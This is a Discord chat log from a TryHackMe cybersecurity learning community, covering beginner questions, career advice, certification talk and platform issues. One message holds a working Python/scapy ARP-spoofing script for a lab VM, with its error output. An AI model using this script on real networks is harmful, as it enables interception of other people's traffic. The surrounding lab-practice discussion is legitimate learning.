Provide a room link please

[hollow zealot]

.

[radiant jacinth]

@south inlet

[civic root]

Done!

[hollow barn]

I saw your message, I just added you. I also just started on thm - I do have some previous experience in cyber security so I wouldn’t say in a total noob.

[uncut flower]

Good afternoon is there anyone around to do some rooms? Dm if you wanna hang out and some things together

Spoiler: I'm a beginner too

[weary meteor]

Try to ask in #room-help 🙂

[rose heath]

Study partner/guide for oscp, anyone interested please ping

[astral cloak]

I'm always happy to meet another study partner.

[jagged grotto]

Has anyone done a CEH certification

[prime pawn]

Be vewy quiet. We’re hunting wabbits

[weary meteor]

Try to ask in #cyber-and-careers channel 🙂

[olive laurel]

hi

[weary meteor]

Please don't advertise external projects 🙂

[olive laurel]

oh ok

[civic oak]

hey everyone Im planning to implement AI to my learning path. Im thinking about IBM AI engineering certificate program to start, and my question is that does anyone of you started or already implementing AI on cybersecurity I would like to get advices from you guys thanks.

[weary meteor]

I'm using AI sometimes to help me with my scripts , it is a great assistant 🙂

[steel fulcrum]

Help

[south inlet]

Why do you need help?

[coarse folio]

Hey
I'd love to be friends

[coarse folio]

Hey
I sent you request

Hi Guys
My name is St. Oasis and I am from Nigeria
I am new to TryHack me
I's all confusing
I'm done with School in a few months and I want to get a masters in cybersecurity but first I want to get a Job in IT.
A remote Job
I need help!

[coarse folio]

Hi Marcus
Can I reachout too?

[fathom knot]

hello k

[turbid wasp]

I used a steak freeze on Saturday and I'm wondering when I can acquire a new one. I don't recall if I got my last one at 60 or 90 days. Do they coincide with the badges? If so, does that mean I can get the next one at 365 days? (I'm currently at 113 days)

It looks like 180 days is the next one

https://help.tryhackme.com/en/articles/7843540-streak-freeze

[weary meteor]

You can often win streak freezes during some events 🙂

[turbid wasp]

Oh, this is good to know too. Thanks 👍

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #1 - 4189)

[royal jasper]

Good day, have anyone tried here changing email address? After changing my email address, all the progress and my subscription restarted.

[fair vine]

hi guys is there anyone who could give a second opinion on the monitor and hard drive im planning to buy?

[fair vine]

maybe contact support

[frail vault]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Mar 25, 2025, 9:01 AM

[finite gull]

hello there

[floral matrix]

helloo

[earnest girder]

i'm bored

[finite gull]

iv been planning buy the premium version , anyone care to share your opinion?

[weary meteor]

It's worth imo but if you're on beginning of your journey you don't nevessarily need it immediately . There're over 500 free rooms on THM 🙂

[forest pagoda]

anyone wants to start a startup?

[frail basin]

When I was starting out I was worried about not being able to do certain paths so getting premium was what got me to get on a good schedule with learning with less worry. Now that I am father along I don’t need premium for a little.

[median fossil]

Would love to get some friends on Tryhackme, I'm currently a student in cybersecurity and on a few learning paths here right now and it would be great to get some motivation from others who is learning as well. Feel free to add: bystrom 😄

[weary meteor]

Feel free to admin me if you want 🙂

Request accepted @median fossil 🙂 🤝

[warped badger]

in a CTF, do i'm supposed to use only the Verified exploit ?

[daring vapor]

There’s no need, but you should understand the exploit code so you’re not running malware

Also remember that exploitdb is not the only source for exploits

[warped badger]

thank you !

[hoary nymph]

Gave +1 Rep to @daring vapor (current: #282 - 25)

[weary meteor]

In a THM lab environment you can do whatever you want , they're restored to defaults on each restart 🙂 . In real life scenario , that verification won't also mean much anyway . By using exploit we're trying to perform something that clearly wasn't supposed to be happening , many exploits are unstable and will crash the machine in some cases ( eternalBlue ) as an example .

[warped badger]

thx for detailling 👌

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #1 - 4206)

[south inlet]

You can do what you want within reason, if you're using a THM machine for a purpose which is not intended, you're breaching their ToS.

[left portal]

🤓☝️

[inland hollow]

Does anyone know how much the EXP-401 exam cost offered by OffSec?

[coarse river]

Hey, I'm wondering. What kind of motor would I need to use to lift up an heavy weight (~10kg) at the end of a fishing line : servo, stepper or dc ? Maybe some other kind that I don't know of

[weary meteor]

I meant in a context - don't worry about running unstable exploit against THM machine and crashing it since it will revert to defaults next time it is started 🙂

[coarse folio]

Hello
Can I reach out to you too?

[weary meteor]

What's the problem 🙂 ?

[coarse folio]

I am new here and I'm sorry if it's too much but I need help
I'll been done with school in a few months and I want to master in cybersecurity. I love security a lot and I have done Comptia A and N+ a while back and I know now, I have some to relearn a lot. So I took google's IT support Programme. After that, I wanted to take the Cybersecurity course but I saw Tryhackme and I don't even know what way to go or how to start. There's a lot of material on the internet and It can be frustrating. I need Help

[weary meteor]

You can start with the path below . To learn more about Discord check out #start-here article 🙂
https://tryhackme.com/path/outline/presecurity

[coarse folio]

Thank you

[weary meteor]

Also if you're looking for a career advice , check out #cyber-and-careers channel 🙂

[coarse folio]

Thank you

[whole tiger]

hi,

i want to know this scenario is real vulnerability or not

a weak 2FA setup where the system allows the use of an untrusted browser extension (such as the Authenticator extension in Chrome) to configure two-factor authentication. This indicates improper device binding or context validation during the 2FA setup, allowing an attacker to potentially hijack the 2FA process. To mitigate this, the system should enforce strict device verification and context checks to ensure that only trusted devices can configure and use 2FA.

[warped badger]

thank you i will !

[hoary nymph]

🔇 Muted charleskeith0134 for 1 day

[odd acorn]

Hey please don't self promote here

[neon plank]

I think the best option is to submit it and they will tell u if it is a vuln

[muted chasm]

gut morning

or night should i say

[marble rampart]

Jr Pentester path complete! 🥳

[weary meteor]

Congrats , great job 🙂 🚀 🔥

[radiant jacinth]

congrats!

[humble sentinel]

https://tryhackme.com/room/zer0logon
the room working for you?
im stuck cant see the questions and cant start the machine

[wild nacelle]

Realtek RTL8723B Wireless LAN 802. 11n USB 2.0 Network adapter . Hallo everybody I tried to install kali Linux on my laptop but the install setup kannst find the driver for my network kart anyone that can help thx

[frail basin]

I wouldn’t recommend installing a bunch of drivers from random sites. Are you trying to install it bare metal or as a virtual machine? I would recommend you use VMWare (watch a YouTube video on how to get it free) and then watch a YouTube video on installing the Kali image on VMWare for your first installs. Keep in mind that for windows computers it will be VMware workstation vs Mac OS it is VMware Fusion.

[wild nacelle]

I tried to install it bare . But the install setup from kali Linux doesn't recognise my network kart. I tried Google but didn't find any solution

My laptop can't handle vm it can't even handle win 10 probably

[radiant jacinth]

Shh it is quiet

[split flare]

I was solving the room kenobi and I found a different path than the one in the walk through. Not sure if this is intended also not sure if this is an issue and if this is the place to report such. To avoid spoilers admins can write me in private.

[lofty arch]

there is any voice channel ?

[weary meteor]

Yeah , many but you'll need to verify to access them . You can learn how to do so on the link below 🙂
https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[radiant jacinth]

Greetings, hope everyone is having a very productive day

[weary meteor]

Thanks , same wishes to you too 🙂 👋

[hoary nymph]

Gave +1 Rep to @cloud mantle (current: #2778 - 1)

[lofty wadi]

Hello everyone, Im new in Tryhackme, but im having an issue in "Windows PowerShell" entering the credentials, but i cant, so if anyone had the same situation that could help me out, cheers

[weary meteor]

Hello , try to ask in #room-help channel 🙂

[fringe sluice]

I had something to say but forgot what I wanted to say.

[weary meteor]

Happens to me all the time 🤣

[sharp pivot]

Hi guys I'm chef from India doing master's in computer application called Mca in India I live tier 3 city, I'm new cyber security just started,
The Situation is i got job offer in school for IT admin timing in 7am to 4pm salary is 15000 inr
I'm confused what to do according to my city this is not too much low salary but it's low little bit , in india you do unpaid internship or paid internship amount is 3000-20000 depends upon city region
My friend is doing job in state captial as vuejs developer his company giving 29000 salary but his expenses like rent miscellaneous expenses are high after everything he got 15000-18000 in hand
My job offering office is only 600 meter and 0 expenses I'll pay
Why I'm thinking for this IT admin role reason is it's hard to job in cyber security as freshers if I get I'll receive same pay like my and same expenses
I'm thinking to join this job for 1 year learn cyber security at the advance it will receive one year experience
What should I do please help me

[prime perch]

@sharp pivot join, atmost you'll gain experience in Networking, meanwhile keep learning other aspects, keep trying for relevant certifications and finally keep looking for better opportunities if you feel you've learned everything that that job has to offer. Best of luck buddy!

[lament rock]

I would accept the job. Experience gained at work is always superior.
Also, you won't be overwhelmed with tasks at the school, you can experiment and will have down time which you can use for studying.
Don't spend more than 1-2 years there, continually strive to upskill and attend a couple of job interviews once in a while to keep yourself fit.

What is a tier 3 city, btw?

[sharp pivot]

Tier 3 city mean small urban developing city , who don't have metro ,city area is 10 miles

[sharp pivot]

Thnx bro for your advice

[sharp pivot]

Thnx bro

[deft marsh]

No problem

[steady oxide]

Hey everyone, I'm new here. I'm looking for fellow students (both Italian and international) to chat about cyber security topics, discuss projects, or just exchange a few words about career paths. I've been studying every day for the past 6 months, and I'd love to connect with others who are still students like me. Hope I posted this in the right spot—if not, sorry about that!

[winter pine]

Hello guys, I'm doing telnet but it seems the Get command is not working also what should be the Host? Any guidance pls🥹

[weary meteor]

Can you provide a screenshot 🙂 ?

[weary meteor]

If you're looking for a career advice , try to ask guys in #cyber-and-careers channel 🙂

[surreal quiver]

Can anyone recommend a good site for learning python that's free?

[nimble bough]

penjee

[weary meteor]

freeCodeCamp on YT

[surreal quiver]

Thanks I'll check them out

[winter pine]

Yea

[weary meteor]

You will have to verify to upload images 🙂
https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[winter pine]

Ohkayy thanks

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #1 - 4317)

[coarse river]

What about kaggle.com ? It's mostly about Machine Learning, but there's a python course there. There's also W3Schools.

[surreal quiver]

Thanks for the recommendation I'll look it up

[hoary nymph]

Gave +1 Rep to @coarse river (current: #1824 - 2)

[weary meteor]

CodeCademy also - THM equivalent in coding space altough it is only partly free like THM 🙂

[barren cloud]

ChatGPT to clarify questions alongside a youtube tutorial can do wonders also btw

[marsh lance]

Which rooms will help get ready for the cysa+ exam? Any ideas?

[weary meteor]

Check out SOC 1 and 2 paths

[marsh lance]

Yeah, I see that now. Thank you. I have CompTIA Security+ and working on Cysa so this is perfect.

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #1 - 4323)

[surreal quiver]

Yes but they don't have that many free lessons

[boreal maple]

I can recommend udemy.
They have a lot of python courses for all levels.
Sometimes You can get them as offer for 15-20$

[weary meteor]

Now you even have top 10k rated courses on udemy for like 15$/month 🙂

It is called Udemy plus i think

[boreal maple]

per month subscription - you have to pay a certain amount per month and you can join selected courses for free. Or you buy the course on offer and can use it for lifetime

[weary meteor]

You pay 15$/month and you have access to top 10.000 rated courses on Udemy for as long as you pay the sub . Something like Netflix 🙂

[surreal quiver]

Have you tried python courses on udemy? What is your experience with it? It seems ok, I might do a free trial to try it out

[boreal maple]

My experience with it so far has been very good. I have already completed several courses. Python AI, machine learning, trading bots, etc.
Each course has trial lessons that you can watch and 30 days money back

[surreal quiver]

Sound good, I'll try it out. Thanks for the recommendation.

[hoary nymph]

Gave +1 Rep to @boreal maple (current: #2787 - 1)

[boreal maple]

👍

[neon dirge]

thats so sarcastic xD

[weary meteor]

Why 🙂 ?

[neon dirge]

for me at least :p udemy isn't comparable with Netflix 😂

[weary meteor]

I was talking about pricing 🙂

[neon dirge]

i know :)

[uneven lava]

https://l1nq.com/exploit-vault-xss-rfi

[fair vine]

whats this

[uneven lava]

Nevermind, nothing serious

[south inlet]

Hi

What is this?

[uneven lava]

Simply a joke, but apparently no one is falling for it.
I've concealed the YouTube link behind a simple URL shortener.
Date + YouTube = ?

[south inlet]

Maybe nobody wants to click it because you know ..

Phishing

[uneven lava]

Maybe because I believe this community is smarter than that and not falling for phishing, knowing how to manage a link.

[next bronze]

When it loads for 20 seconds, get out

[quaint basin]

I mean, I've managed it successfully in here before 🤷‍♂️
Anyone can fall for SE.

On numerous occasions, I might add

[uneven lava]

Well, I figured that it wasn't so difficult to open it in a v-box, maybe with a live even.
I mean... It's something that we all use here.
When I've received it, it was my first approach to copy the link and open it that way 😅

[serene trench]

Troy Hunt literally admitted that he got phished very recently. No one is immune. Less likely? Sure, immune, though? 😄

[next bronze]

I mean, if someone you trust got compromised, its likely

I'd trust a link from one of my family members, for example 🤷‍♂️

[uneven lava]

Ok then, maybe you'll like this more.
Funny, even if not "today" related

[twin ridge]

commit strip is great

[trail shale]

You know how you can be immune no talking to anyone no technology boom phishing solved

[marble ridge]

What about sending letters?

[trail shale]

No communication of any kind you beat phishing

[marble ridge]

I mean, you got a fair point, that's one way to solve phishing

[spark haven]

Getting phished in a hand written letter is talent 😂

[trail shale]

The Nigerian prince scams but in actual physical mailboxes

[pearl vector]

omg THM sponsored Fireship!

[still sinew]

really?

[warm crest]

yha last video

[still sinew]

i’ll check it out

[olive laurel]

hey i'm a nigerian prince what's up

[tender lagoon]

quiet

[cyan smelt]

Hello, I'm new here. I'm looking for study buddy or study groups for TryHackMe or HacktheBox(pentesting)? Thanks

[marble wind]

hi

[nocturne lodge]

🤣

[boreal minnow]

hey im in the same situation btw so if you find some, would you prevent me ?

[verbal oriole]

hey I'm in the same situation here buddy can you help me if you find some...

[smoky gale]

Hey guys. I'm new here. I'm seeking a study buddy or study groups for TryHackMe or HacktheBox(pentesting).

[weary meteor]

Feel free to reach out in #room-help 🙂

[empty jasper]

CAN SOMEBODY HELP ME IN MY ERROR
I AM USING PYTHON IN KALI LINUX VM
here is my code "#!/usr/bin/env python

import scapy.all as scapy
import time
import sys

def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_packet = broadcast / arp_request
answered_list = scapy.srp(arp_packet, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)

no_packets_sent = 0

try:
while True:
spoof("192.168.126.135", "192.168.126.2")
spoof("192.168.126.2", "192.168.126.135")
no_packets_sent += 2
print("\r[+] Packet Sent: " + str(no_packets_sent)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("\n[+] Detected CTRL+C... Quitting..")" and its working fine until i search anything on internet in victim vm "root@kali:~/PycharmProjects/All/Arp spoofing# python arps.py
[+] Packet Sent: 12
Traceback (most recent call last):
File "arps.py", line 23, in <module>
spoof("192.168.126.135", "192.168.126.2")
File "arps.py", line 15, in spoof
target_mac = get_mac(target_ip)
File "arps.py", line 12, in get_mac
return answered_list[0][1].hwsrc
File "/usr/local/lib/python2.7/dist-packages/scapy/plist.py", line 176, in getitem
return self.res.getitem(item)
IndexError: list index out of range
root@kali:~/PycharmProjects/All/Arp spoofing# "PLZ

[weary meteor]

try to ask in #programming channel 🙂

[radiant jacinth]

#programming @empty jasper add error handling in your code

[upper dove]

Looking for a learning partner pls dm mee if anyone interested

[austere mist]

Transitioning from software dev to cyber security... currently doing the Cyber Security 101 path on TryHackMe and some CTFs here and there. Any tips or suggestions?

[soft pier]

take notes on paper or on your computer
get a rubber ducky to talk through your problems with to increase your solving said problems
teach the rubber ducky things you have learnt today.. both is by talking loudly to it

[dry surge]

Hlo
I am trying to subscribe on tryhackme but it is showing card declined. Can anyone help??

[little shore]

Have you checked your bank?

If the bank says there is no issue on their end, you can drop an email to THM Support so they can check the issue on their side.

[dry surge]

Yes I tried with different banks from my friend's banks too. But same issue

Actually I asked them to remove my payment details from showing directly in my account subscription section. And now this is happening

[fair echo]

Good day guy, please has anyone tried the Ec-council CCT certification, need some exam and practical tips, thanks in advance

[vital zodiac]

hey their was a glitch where you could bypass the filters with a lot of mispelling. idk if they patched it though

[little shore]

Suggest you post this in #cyber-and-careers, but I wouldn't expect positive feedback unless you are based in India.

[weary meteor]

We can't help you with that 🙂

[rotund ermine]

I saw rubber ducky and i thought you meant the USB Rubber Ducky haha, was well confused as to why would you talk to that but I get what you mean now

Good advice though, still.

[odd acorn]

It was a scam 🙂

[young gulch]

https://tenor.com/view/james-veitch-we-need-to-talk-about-the-ducks-the-bathroom-ducks-duck-gif-24937794

[soft pier]

james viche or however his name is spelled has some fun for sure

[vagrant swallow]

The time mentioned in the first point (11:00 PM to 3:00 AM) is in UTC (Coordinated Universal Time) ?

[little shore]

Suggest to post this query in #site-support

[high coral]

i found your issues and sent you a DM

[radiant jacinth]

Seniors... I need your HELP I am completely new to linux and all.. In my Kali linux VM sometimes i get the message "windows application error the instruction at referenced memory at the memory could not be read click on OK to terminate the program" and the vm get terminated.. today i tired to change the background and this happened.. i tried to open settings and this happened.. can u tell me whts going on?🥲

[radiant jacinth]

i dont know about it

[little shore]

How much storage and RAM does your host machine has? What hypervisor (e.g., VMware Workstation, Oracle VirtualBox, etc.?

[radiant jacinth]

should i study SQL, PHP, HTML, CSS, JavaScript, Python, C#, C++, Java

[weary meteor]

Well you should be familiar with some of those concepts for cyber security 🙂

[radiant jacinth]

[weary meteor]

You don't need to know them immediately if you're a beginner . You will get along with those concepts over time 🙂

[nimble kelp]

most of this stuff is fairly easy, like you can learn the basics of HTML, CSS and javacript in a week or two, I'm not saying be an expert but know it well enough that when you read code you can guess what it does (and be 90% correct)

[strange plank]

You won't understand anything to SQL Injection if you don't know SQL first.
You won't understand anything to identifying vulnerable code if you don't understand PHP & Java.
You won't understand how a webshell works without first understanding PHP.
You won't understand web hacking and template injection without HTML.
You won't understand XSS or DOM Hacking if you don't know JavaScript.
You won't be able to develop your own scripts and will remain a script kiddy if you don't know how to dev in Python, Java or C.

CyberSecurity and specially offensive security, is NOT entry level job or learning path. Please learn computer basics first.
People do help desk jobs before pivoting into cybersec. People are first web developers before pivoting into cybersec. People are first DB / System admins before pivoting into cyber.

The common problem I see nowadays is that people expect to hop on platforms like TryHackMe and immediately become hackers. Wrong. It takes years. Any hacker that don't know how to develop their own tools is referred to as a script kiddy - which means a person who only rely on simply copy pasting commands from pre-developed tools.

You need to learn basic dev at least. As you can see above, some people get directly into hacking without even knowing what "Computer Specifications" are, such as RAM etc. A basic gamer would know. So it's even less than the minimum for a hacker.

The picture above shows it well. Anyway, THM has everything detailed step by step, from pre-sec to cybersec 101. Check it out before considering hacking. Very little are the people who directly lands their first job ever as CyberSecurity Analysts, Pentesters etc...

https://tryhackme.com/hacktivities

[broken heart]

Which paths or courses are best to break out of script kiddy phase? I mean I follow the paths on tryhackme but I feel like I'm not learning anything. maybe its just me

[strange plank]

THM will teach you how to pentest (When it comes to offensive security), but it won't teach you programming - which is totally normal since it's not part of the platform to teach you programming...
You just need to learn a certain language and program in it.
In a typical pentest, you'll mostly use already developped tools. However, in multiple THM rooms, you'll come across challenges where coding is needed. Adapting tool code is also needed. This is where you'll need to code on THM.

In real life, you'll also need it quite a lot.

[broken heart]

I guess I'll need to learn python or something.... thanks

[hoary nymph]

Gave +1 Rep to @strange plank (current: #590 - 10)

[next bronze]

You will, as DKob mentioned.

If you're completely new to programming, I'd recommend spending some time learning a language like C++ or Java in-depth.

You'll be required to do static code analysis at a lot of points, and you'll need to know how to read and understand what the code is doing, even if you aren't proficient in the language. Languages like PHP and Rust aren't going to be as easily readable and user-friendly as Python is, which is why I recommended learning a relatively lower level language like C++ or Java first.

[spark sun]

I would strongly argue that it does not actually teach pentest - it teaches the technical side, mostly, but the business side is hardly touched from what I remember of the hactivities. Scoping, rules of engagement and the reporting are as important as the technical side.

[strange plank]

When you say pentest in a CTF discord server, 99% of people will automatically assume the technical side. No one thinks of the business side on CTF platforms unless it's a paid certification.

[spark sun]

That's true, but it's setting the expectation for what industry actually does and wants - IMO it's better to get the dream crushing out of the way early so someone doesn't dedicate tons of time learning a professional skill for a role they actually aren't interested in.

[strange plank]

Pretty sure the technical side is most of the hard work
Reporting is just a skill that isn't very hard to learn compared to the technical expertise required to pentest

If reporting and limited scope of engagement is what stops someone from pentesting after all the hard work on certifications and CTFs, then IDK what to say

[spark sun]

It's not hard to learn, but it's one of those administrative things almost everyone hates to do. Most of the training I give our internal pentesters is on reporting and the admin side - they are fine technically, but communicating findings and making remediation recommendations requires a lot more of the business context

[south inlet]

My report writing and such can do with a bit of work.

[strange plank]

Still, my point above stands

[strange plank]

This one ^ in particular

[spark sun]

I don't disagree. My point is that the admin is overlooked because it seems like every aspiring pentester thinks it's just sexy breakign things time

[strange plank]

I don't think I've seen anyone enjoying doing reports, it's a take or leave situation

[spark sun]

Yep.

[strange plank]

Yes, that's fair

[spark sun]

A couple of younger people (late teens/early 20s) wanted to be pentesters until I walked them through the entire process. They just wanted to break things and somehow had the idea that the value in a pentest was 100% in the breaking..... but it's the reporting that gives the business value.

[strange plank]

I'm the early 20s

[spark sun]

The report is the primary deliverable for the engagement, if that sucks, you've just wasted everyone's time.

It sounds like you are in industry alraedy, and understand the surrounding context. The young people I'm talking about were considering a career transition with zero IT background and knowledge.

[strange plank]

Yeah, my first job ever was directly in CyberSec

[spark sun]

That's pretty rare, congrats

[strange plank]

Grinded for over 12 hours per day for like a year

[strange plank]

Thanks!

[hoary nymph]

Gave +1 Rep to @spark sun (current: #11 - 832)

[spark sun]

My first IT job was also in cybersec; but I came into it with a B.Sc in CompSci and 3/4 of a M.Sc in comp sci.

[strange plank]

Same situation here
Did a BSc in Comp Science
A MSc in CyberSec

Around 5 certs, which 2 are in pentest
I had to pull out the big game to get a job

Europe market is pretty bad when it comes to offsec

[spark sun]

I got hired to build a compliance tool, ended up being a principle infosec engineer doing pentest, vuln management, some sec architecture, and compliance for 14 frameworks

[strange plank]

That sounds very cool

[spark sun]

passed the CISSP within 6 months of initial hire

[strange plank]

Is the CISSP worth it?

[spark sun]

but didn't have the time served for it

It's the piece that connects technical to business

If work pays for it, get it

[strange plank]

My employer would never lol

[hollow burrow]

Guys, what certificate would u recommend me to pass as an offsec pentest enthusiast? I already have basic cybersec certificate aimed at pentest field

[strange plank]

It highly depends... what's your level?

If you're still a beginner, maybe train a bit on platforms first before paying for certifications

[spark sun]

You should never pay a certification out of pocket, unless it's actually required for your next role. Certs are how the business demonstrates competency, they don't do much for you personally

[hollow burrow]

Mybe beginner level... just started doing easy levels ctfs

[spark sun]

Learn network or system administration

You'll learn more about how to break systems by learning how to secure them

[hollow burrow]

I've got knowledge in python, js, html, css, sql and I'm considering to learn other languages

[strange plank]

Unfortunately. I paid all my certs out of pocket. Currently full time in IAM, part time red team exercises. I'm trying to pivot to full time red, but it's hard in europe with the non existent offsec market.
It's why I took the decision to pass my CRTO and then stop here until I find a job that pays for my certs.

[hollow burrow]

sys admin for linux or both

[spark sun]

if your employer requires industry-wide certification (like ISO 27001, 27002) you can make the case that it's actually required for audit.... because one of the admin requirements in 27k1 is that the business is staffed by appropriate expertise. And just having the role doesn't demonstrate that, the individual contributor certifications do.

[strange plank]

In the IAM department it's more oriented to certifications such as CyberArk ones, Okta, and microsoft's Entra certs (SC-300)

Basically nothing that really gets my attention

That's the only certs my employer is willing to pay for

[spark sun]

You're currently jr or associate role, then? Your employer should also be preparing you to move up as well. If they are pigeon-holing you into your current role and you've been there a year, start looking to make a move up in another company

[strange plank]

Jr position - I joined the company at 22 Y/O after my MSc. Ive been there for a year and 3 months

And since I was deep into OffSec, they offered me a part time in the OffSec department

[spark sun]

You have a M.Sc in cybersec, they should be looking to promote you very soon. If they aren't, it's my opinion that you have likely outgrown your current role already and need to think about what the next step you want to take is

[strange plank]

The next step I want to take is RTO. I'm already into maldev and evasion + already developed tools capable of evading AVs with full protection

Currently working on EDRs with changing callback functions to the kernel

[spark sun]

Good. Does your work have a path for you to join RTO full time?

[strange plank]

lol I wish. There is a path for pentester full time. RTO is non-existent in France, unless it's an insurance company or you work in the government.

I'm also dual national, so government is a bit hard without giving up my other nationality.

[spark sun]

Yeah, that's fair

[strange plank]

One more thing is that, my profile is a bit weird and rare, so not everyone is willing to take me.

For context, I started offsec a year and a half ago only. So 2 years ago, I didn't even know what SUID was.

RTO after just only 1.5 year... eh... not everyone wants that

[spark sun]

Fair

[strange plank]

Yup.

[next bronze]

Do you have any resources to learn more about the business side of it?

Because I've been lacking in that area

Technical knowledge is fine for me, and I'm okay with the basics of how a penetration test works (ROE, reports, communication) but there's obviously a lot more to it, like GRC etc

[spark sun]

So every business a little different, and what each business wants out of a pentest is going to be slightly different. I actually think Pentest+ is a good content for the business side of a pentest. Working into a vulnerability management role is good, because you'll see how remediation works and that is valuable insight for pentest report writing and remediation recommendations.

[zinc iris]

MAN!!!! I just discoverd the live kali version, compared to virtual machinces it looks like heaven

[celest flicker]

I have a Kali setup in VmWare that works great. Also pretty trival to setup other VMs in there like the Metapoltable VM and Windows VM to practice stuffs like vulnerability scans and network traffic analysis

[radiant jacinth]

its Oracle Virtual Box, Installed RAM - 8.00GB

i strongly agree on your point.. and i was trying to learn the very basics of linux and thats why i installed vm.. 😁

[little shore]

How much RAM are you assigning your VM? What OS is running on your host?

[radiant jacinth]

4845 MB,Windows 8.1

[next bronze]

4.8 GB assigned to a VM on an 8 GB host?

Doesn't sound like a good idea lol

[weary cargo]

Hey guys, I have a spare laptop with intel i5 10th gen processor, I want to install kali linux in it without this VM or vitual box, How can i do it do anyone have any idea

[radiant jacinth]

you have to download it in to a boot disk, then install it directly as an operating system, this will help you => https://www.kali.org/docs/usb/

[little shore]

Windows 8.1 has reached EOL as of January 2023? Might want to consider switching to Windows 10? As Zagreus said, you aren't leaving much resources for your host to run your VM. 4gig should be adequate to run Kali.

[little shore]

Aside from what Samurai has said, it isn't recommended to install Kali baremetal as it isn't designed to be an everyday driver.

[radiant jacinth]

👍
thanks

[hoary nymph]

Gave +1 Rep to @little shore (current: #12 - 802)

[weary cargo]

i have another laptop for daily usage
I want to make that a hacking laptop

[soft pier]

fair enoughs then... still might be better to install a daily driver linux operating system and then installing just the tools you need

[weary cargo]

I'll see about that

[fossil tendon]

hello Who can help me find a French-speaking server about cybersecurity

[summer verge]

Google 😂

[spice wraith]

What?

[brittle garden]

It’s a little too loud in here guys

[vast aspen]

Love your pfp

[jovial quiver]

Windows 10 support will expire this October

After reading this, I’m thinking of switching to Linux soon

https://arstechnica.com/security/2025/04/microsoft-is-putting-privacy-endangering-recall-back-into-windows-11/

[fossil tendon]

I search in shodan

[vast aspen]

okay lol

[rugged frigate]

sadly yea. I'll switch too and put Win11 in a VM.

[torn zenith]

Guys, I am a novice and I need help

[hidden quail]

hey guys am facing one problem when i submit any answer in tryhackme it keeps loading and my internet is working fine if anyone is facing this same issue ? lmk

[granite cloud]

Check #room-help , others are facing similar issues, including me. THM is apparently aware and looking into the issue.

[weary meteor]

What is the problem 🙂 ?

[weary meteor]

It is a bug on THM side , it should be fixed soon

[sage scaffold]

ish same issue 😦

[weary meteor]

Yeah staff members are currently working on fixing it 😦

[zinc iris]

does the League got fixed , because I don't think it works !

[strange plank]

Not yet!

[cerulean ingot]

they said soemthing about its going to be fixed tomorrow

[weary meteor]

Seems like it did now 🙂
#announcements message

[lethal coyote]

Naah.. Mine isn't fixed till now..

[brittle garden]

Ty, I stole it off the internet

[knotty tiger]

Halo

[tired linden]

https://tenor.com/view/james-franco-hello-127hours-can-anyone-here-me-stuck-gif-9845404

[carmine mirage]

Has anyone used the bootable kali usb drive on mac? I have a tails usb drive but if I do Kali now I have 2 USBs to keep track of.

[quaint basin]

Lemme introduce you to Ventoy
https://www.ventoy.net/en/index.html

[fair vine]

thats so cool!

[rugged frigate]

ventoy was a blessing the first time I found it.

[radiant jacinth]

Fr

[bitter scroll]

Hey everyone! 👋
I’ve put together a repo that breaks down the foundational concepts of cybersecurity (like Governance, Cyber Kill Chain, and Core Security Principles) with real-world examples. I found it helps a lot with remembering complex ideas in a simple way.

Feel free to check it out and use it to strengthen your learning!
GitHub Repo: https://github.com/Santosh-Baliarsingh/CyberSecurity-Notes

[carmine mirage]

I will check this out thank you

[hoary nymph]

Gave +1 Rep to @quaint basin (current: #10 - 871)

[carmine mirage]

I might just lose my shit now

[manic hare]

Tryhackme keeps sending emails being like “Is that it? Are you done learning cybersecurity?” Like bro , no, I took one day off of the website to learn from different sources. Chill 🤣

[next bronze]

It's called marketing and user retention

[manic hare]

Thanks for the confirmation

[broken heart]

yeah I know javascript so I guess I'll learn C++ then python. thanks

[hoary nymph]

Gave +1 Rep to @next bronze (current: #164 - 50)

[broken heart]

just a quick question. if you find a logic flaw in let's say your school's website and use it to skip lessons would you report it to the school administration after you're done with the course ? 😂

[fathom panther]

Report it ASAP and do not abuse it is my opinion.

[quaint basin]

Anything else ^^^ is likely to breach your local computer misuse laws

Actually, TBF, hunting for it in the first place likely breaches your local computer misuse laws, but responsible disclosure is a much better look.

[novel geyser]

Good morning, everyone

[hasty palm]

report it, hopefully they will credit you

[broken heart]

I guess... hopefully won't get into trouble by reporting.

[torpid comet]

Hi

[whole plank]

Hello there

[strange plank]

Hello hello!

[strange plank]

What time zone are you from? I got this message at 2PM for me.

[humble musk]

Hey these are great notes! Thanks for sharing

[hoary nymph]

Gave +1 Rep to @bitter scroll (current: #2808 - 1)

[novel geyser]

East Coast USA

[strange plank]

Gotcha! Good afternoon I guess then!

Almost 3AM for me now.

[novel geyser]

9 PM here now haha

[strange plank]

Oh! 6 hours difference. Not so bad.

[strange plank]

https://tenor.com/view/good-night-chat-gif-21861289

[zinc iris]

hi everyone, if I want to learn binary exploitation , what rooms can I find in tryhackme about it ?

[remote yacht]

https://tenor.com/view/perry-the-platypus-phineas-and-ferb-pnf-dr-doofenshmirtz-perry-gif-26543370

Here is the skin for anyone wondering

[twilit lantern]

https://tryhackme.com/room/trypwnmeone
https://tryhackme.com/room/trypwnmetwo
https://tryhackme.com/room/pwn101

[weary meteor]

You're looking for challenges or lessons 🙂 ?

[zinc iris]

lessons

[turbid wasp]

Alright, time to get back on that horse! 🏇 ❤️‍🔥

[willow crater]

very grey hat of you here

[quaint basin]

How is that grey?

[turbid wasp]

Alright, alright. Not bad for the 1st day back 😄

[weary meteor]

Check these ones 🙂
https://tryhackme.com/room/x8664arch
https://tryhackme.com/room/x86assemblycrashcourse
https://tryhackme.com/room/win64assembly

[zinc iris]

it depends 🤔

[zinc iris]

thank you

[hoary nymph]

